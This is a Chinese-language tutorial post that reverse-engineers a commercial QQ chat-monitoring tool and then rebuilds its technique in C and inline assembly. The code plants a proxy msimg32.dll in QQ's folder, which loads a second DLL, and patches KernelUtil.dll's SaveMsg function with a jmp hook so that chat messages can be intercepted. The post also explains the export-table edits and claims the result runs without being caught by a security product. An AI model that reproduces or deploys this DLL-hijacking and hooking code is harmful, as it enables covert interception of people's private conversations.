欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

逆向分析 楼月qq电脑监控软件8.21 并实现

逆向分析 楼月qq电脑监控软件8.21 并实现

免责声明 : 本帖子中的程序仅供学习之用,不得用于非法之事,否则后果自负。与本人无关!
这次我不破解了,只分析其原理,呵呵。

安装完后,用od加载并运行它。
经过调试,如下图

Smass会将自己安装目录下的im32.dll和msimg32.dll拷贝到qq的运行目录下。因为msimg32.dll是系统dll,qq运行时会加载它。所以我们用ida打开msimg32.dll,看看里面都做了什么。如图

用ida打开im32.dll,看看im32.dll做了什么,如图


其实im32.dll就是hook了KernelUtil.dll,转到msimg32.dll中的sub_10001000中。下面分析sub_10001000,如图:

  经过上面的分析,我们可以知道此软件的原理:
1、  将自己编写的msimg32.dll和im32.dll拷贝到qq的目录下。
2、  Qq.exe运行时,会首先加载其目录下的msimg32.dll,而不是加载系统目录下的msimg32.dll。
3、  Qq目录下的msimg32.dll会加载系统目录下的msimg32.dll和im32.dll,并实现原msimg32.dll的接口。
4、  im32.dll加载后,会hook   KernelUtil.dll 的函数?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z,使其转到sub_10001000中。
5、  在sub_10001000中,通过FindWindow和SendMessage把聊天消息发送到楼月客户端。

      既然知道了原理,那就可以自己来实现了。
1、  创建一个dll工程msimg32
2、  实现系统msimg32.dll的接口
typedef void (WINAPI *_vSetDdrawflag)();
typedef BOOL (WINAPI *_AlphaBlend)(HDC hdcDest, int xoriginDest, int yoriginDest, int wDest, 
  int hDest, HDC hdcSrc, int xoriginSrc, int yoriginSrc, int wSrc, int hSrc, BLENDFUNCTION ftn);
typedef BOOL (WINAPI *_DllInitialize)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
typedef BOOL (WINAPI *_GradientFill)(HDC hdc, PTRIVERTEX pVertex, ULONG nVertex, PVOID pMesh, ULONG nMesh, ULONG ulMode);
typedef BOOL (WINAPI *_TransparentBlt)(HDC hdcDest, int xoriginDest, int yoriginDest, int wDest, int hDest, 
  HDC hdcSrc, int xoriginSrc, int yoriginSrc, int wSrc, int hSrc, UINT crTransparent);
_vSetDdrawflag     g_p_vSetDdrawflag = NULL;
_AlphaBlend     g_p_AlphaBlend = NULL;
_DllInitialize     g_p_DllInitialize = NULL;
_GradientFill     g_p_GradientFill = NULL;
_TransparentBlt   g_p_TransparentBlt = NULL;
BOOL InitDll()
{
  CString strSysDir;
  GetSystemDirectoryEx( strSysDir );
  strSysDir.AppendFormat( _T("\\msimg32.dll") );
  HMODULE hDll = LoadLibrary( strSysDir );
  if( NULL != hDll )
  {
    g_p_vSetDdrawflag = (_vSetDdrawflag)GetProcAddress( hDll, "vSetDdrawflag" );
    g_p_AlphaBlend = (_AlphaBlend)GetProcAddress( hDll, "AlphaBlend" );
    g_p_DllInitialize = (_DllInitialize)GetProcAddress( hDll, "DllInitialize" );
    g_p_GradientFill = (_GradientFill)GetProcAddress( hDll, "GradientFill" );
    g_p_TransparentBlt = (_TransparentBlt)GetProcAddress( hDll, "TransparentBlt" );
  }
  return ( 
    ( NULL != g_p_vSetDdrawflag ) && ( NULL != g_p_AlphaBlend ) &&
    ( NULL != g_p_DllInitialize ) && ( NULL != g_p_GradientFill ) &&
    ( NULL != g_p_TransparentBlt )
    );
}
3、hook   KernelUtil.dll 的函数?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z
typedef int (WINAPI *_SaveMsg)( DWORD, DWORD, DWORD, DWORD, DWORD, DWORD );
typedef int (WINAPI *_GetMsgAbstract)( DWORD, DWORD ); 
DWORD         g_dwRetAddr = 0;
_SaveMsg      g_p_SaveMsg = NULL;
_GetMsgAbstract    g_p_GetMsgAbstract = NULL;
__declspec( naked ) void JmpFun() 
{
  _asm
  {    
    pushfd
    pushad
    push dword ptr [ebp+0x1c]  // 参数6
    push dword ptr [ebp+0x18]  // 参数5
    push dword ptr [ebp+0x14]  // 参数4
    push dword ptr [ebp+0x10]  // 参数3
    push dword ptr [ebp+0x0c]  // 参数2
    push dword ptr [ebp+0x8]  // 参数1
    call Bob_SaveMsg
    popad
    popfd

      //.text:3182BA70                 push    ebp
      //.text:3182BA71                 mov     ebp, esp
      //.text:3182BA73                 push    0FFFFFFFFh
      //.text:3182BA75                 push    offset loc_3185F4A8    // 这里是跳回的地址
      //.text:3182BA7A                 mov     eax, large fs:0
      //.text:3182BA80                 push    eax
      //.text:3182BA81                 sub     esp, 38h
      //.text:3182BA84                 push    ebx
      //.text:3182BA85                 push    esi
      //.text:3182BA86                 push    edi
    push    ebp
    mov     ebp, esp
    push    0x0FFFFFFFF
    jmp g_dwRetAddr
  }
}
BOOL BobHook()
{
  BOOL bRet = FALSE;
  HMODULE hDll = LoadLibraryW( DLL_NAME_OF_CRACK );
  if( NULL != hDll )
  {
    g_p_SaveMsg = (_SaveMsg)GetProcAddress( hDll, "?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z" );
    g_p_GetMsgAbstract = (_GetMsgAbstract)GetProcAddress( hDll, "?GetMsgAbstract@Msg@Util@@YA?AVCTXStringW@@PAUITXMsgPack@@@Z" );
    if( NULL != g_p_SaveMsg && NULL != g_p_GetMsgAbstract )
    {
      DWORD dwTemp, dwOldFlag, dwCrack = (DWORD)g_p_SaveMsg;
      g_dwRetAddr = dwCrack + LEN_OF_CRACK;
      if( VirtualProtect( (LPVOID)dwCrack, LEN_OF_CRACK, PAGE_READWRITE, &dwOldFlag ) )
      {        
        JmpCode struJmp;
        struJmp.byJmpCode[3] = 0x0e9;  // jmp
        struJmp.dwJmpCode[1] = GetMachineCode( dwCrack, JmpFun );
        bRet = WriteProcessMemory( GetCurrentProcess(), (LPVOID)dwCrack, &( struJmp.byJmpCode[3] ), LEN_OF_CRACK, &dwTemp );
        VirtualProtect( (LPVOID)dwCrack, LEN_OF_CRACK, dwOldFlag, &dwTemp );   
      }
    }
  } 
  return bRet;
} 
4、输出聊天信息
void WINAPI Bob_SaveMsg( int a1, const wchar_t *Format, const wchar_t *a3, const wchar_t *a4, int a5, int a6 )
{ 
  if( NULL == g_p_GetMsgAbstract )
  {
    DbgOutput( _T("In Bob_SaveMsg(), g_p_GetMsgAbstract is NULL...") );
    return;
  }
  // 这里只显示调试信息,不显示聊天数据了,呵呵
  static int nCount = 1;
  DbgOutput( _T("In Bob_SaveMsg(), nCount:%d ..."), nCount++ );
}
编译出msimg32.dll后,还需要修改msimg32.dll的导出表,使导出表的Name Ordinal和Name与系统的msimg32.dll一样。如图

修改后的msimg32.dll放到qq安装目录下就可以了,然后运行qq,如图:


我把传说中很牛逼的qq管家打开,然后运行qq,如图:

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功